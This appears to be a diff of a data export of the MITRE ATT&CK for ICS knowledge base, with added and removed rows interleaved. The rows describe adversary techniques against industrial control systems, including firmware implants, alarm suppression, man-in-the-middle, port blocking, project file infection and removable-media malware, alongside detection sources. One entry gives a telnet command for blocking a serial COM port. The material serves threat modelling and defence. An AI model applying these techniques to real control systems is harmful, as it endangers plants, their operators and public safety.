Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'References - Secura - 2019', 'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data']",,,,,"['Human-Machine Interface', 'Control Server', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Device Configuration/Parameters']",,,,,,,, +attack-pattern,attack-pattern--efbf7888-f61b-4572-9c80-7e2965c60707,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Module Firmware,"Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. -A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0805', external_id='T0805')]",attack-pattern--1c478716-71d9-46a4-9a53-fa5d576adb60,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Block Serial COM,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Data historian', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. -* TCP:80 (HTTP) -* TCP:443 (HTTPS) -* TCP/UDP:53 (DNS) -* TCP:1024-4999 (OPC on XP/Win2k3) -* TCP:49152-65535 (OPC on Vista and later) -* TCP:23 (TELNET) -* UDP:161 (SNMP) -* TCP:502 (MODBUS) -* TCP:102 (S7comm/ISO-TSAP) -* TCP:20000 (DNP3) -* TCP:44818 (Ethernet/IP) +This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware) -Contributors: Matan Dobrushin - Otorio","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0885', external_id='T0885')]",attack-pattern--e6c31185-8040-4267-83d3-b217b8a92f07,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='command-and-control-ics')]",2020-05-21 17:43:26.506000+00:00,Commonly Used Port,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Matan Dobrushin - Otorio'],,,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. +An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware) -Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. (Citation: Industroyer - Dragos - 201810) The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include references to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be ""expected to have extensive connections"" within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. +*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. -Permissions Required: Administrator +*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. -Contributors: Joe Slowik - Dragos","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0810', external_id='T0810'), ExternalReference(source_name='Industroyer - Dragos - 201810', description='Dragos. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved October 14, 2019.', url='https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf')]",attack-pattern--50d3222f-7550-4a3c-94e1-78cb6c81d064,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Data Historian Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Joe Slowik - Dragos'],,,,,,,,,,,,,,['Administrator'],['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +*""Random"" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. -An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. +*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. -In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0815', external_id='T0815'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.')]",attack-pattern--56ddc820-6cfb-407f-850b-52c035d123ac,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Denial of View,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0818', external_id='T0818')]",attack-pattern--d614a9cf-18eb-4800-81e4-ab8ddf0baa73,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2021-04-12 16:17:26.506000+00:00,Engineering Workstation Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Joe Slowik - Dragos'],"['File monitoring', 'API monitoring', 'Windows event logs']",,,,,,,,,,,,,,['Engineering Workstation'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services) +*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0839', 'external_id': 'T0839'}, {'source_name': 'References - Module Firmware', 'description': 'Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017.', 'url': 'https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firmware: Firmware Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--38213338-1aab-479d-949b-c81b66ccca5c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Network Sniffing,"Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. -ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0866', external_id='T0866'), ExternalReference(source_name='EAttack Exploitation of Remote Services', description='Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019.', url='https://attack.mitre.org/techniques/T1210/'), ExternalReference(source_name='Reference - Dragos - 201910', description='Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', url='https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/')]",attack-pattern--85a45294-08f1-4539-bf00-7da08aa7b0ee,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2021-04-12 19:17:26.506000+00:00,Exploitation of Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows error reporting', 'Process monitoring', 'File monitoring']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Data Historian', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T824', external_id='T0824')]",attack-pattern--e2994b6a-122b-4043-b654-7411c5198ec0,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,I/O Module Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows registry', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata']",,True,,,,,,,,,,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0827', external_id='T0827'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', url='https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false'), ExternalReference(source_name='BSI IT Security Situation 2014', description='Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', url='https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3')]",attack-pattern--a81696ef-c106-482c-8f80-59c30f2569fb,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Loss of Control,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Dragos Threat Intelligence'],,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) - -A MITM attack may allow an adversary to perform the following attacks: - -Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0830', external_id='T0830'), ExternalReference(source_name='Research - Research - Taxonomy Cyber Attacks on SCADA', description='Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', url='http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'), ExternalReference(source_name='Reference - SANS - 201710', description='Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020.', url='https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095')]",attack-pattern--9a505987-ab05-4f46-a9a6-6441442eec3b,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2021-04-12 15:35:26.506000+00:00,Man in the Middle,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Conrad Layne - GE Digital'],"['Network device logs', 'Netflow/Enclave netflow', 'Packet capture']",,,,,,,,,,,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. - -If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. +An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. -In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. +In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. -In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0838', external_id='T0838'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='References - Secura - 2019', description='Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', url='https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf')]",attack-pattern--e5de767e-f513-41cd-aa15-33f6ce5fbf92,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Modify Alarm Settings,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Controller parameters', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. +Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0842', 'external_id': 'T0842'}, {'source_name': 'EAttack Network Sniffing', 'description': 'Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1040'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--e72425f8-9ae6-41d3-bfdb-e1b865e60722,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Project File Infection,"Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens) -Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0861', external_id='T0861'), ExternalReference(source_name='References - tags process comprehension', description='Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019.', url='http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf')]",attack-pattern--25852363-5968-4673-b81d-341d5ed90bd1,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Point & Tag Identification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Jos Wetzels - Midnight Blue'],"['Network protocol analysis', 'Packet capture', 'Netflow/Enclave netflow']",,,,,,,,,,,,,,"['Data Historian', 'Control Server', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. +Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0873', 'external_id': 'T0873'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}, {'source_name': 'References - beckhoff project files', 'description': 'Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019.', 'url': 'https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id='}, {'source_name': 'References - plcdev siemens', 'description': ""PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019."", 'url': 'http://www.plcdev.com/book/export/html/373'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--2dc2b567-8821-49f9-9045-8740f3d0b958,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Scripting,"Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. -For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T850', external_id='T0850')]",attack-pattern--23270e54-1d68-4c3b-b763-b25607bcef80,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Role Identification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. +In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0853', 'external_id': 'T0853'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,['Engineering Workstation'],,,,,,,, +attack-pattern,attack-pattern--e076cca8-2f08-45c9-aff7-ea5ac798b387,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Standard Application Layer Protocol,"Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. -Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0847', external_id='T0847'), ExternalReference(source_name='KGG-Company-Site', description='Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019.', url='https://www.kkw-gundremmingen.de/presse.php?id=571'), ExternalReference(source_name='KGG-Softpedia', description=""Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019."", url='https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml'), ExternalReference(source_name='KGG-Reuters', description='Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019.', url='https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS'), ExternalReference(source_name='KGG-Science-Alert', description='Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019.', url='https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant'), ExternalReference(source_name='KGG-ESET', description='ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019.', url='https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/'), 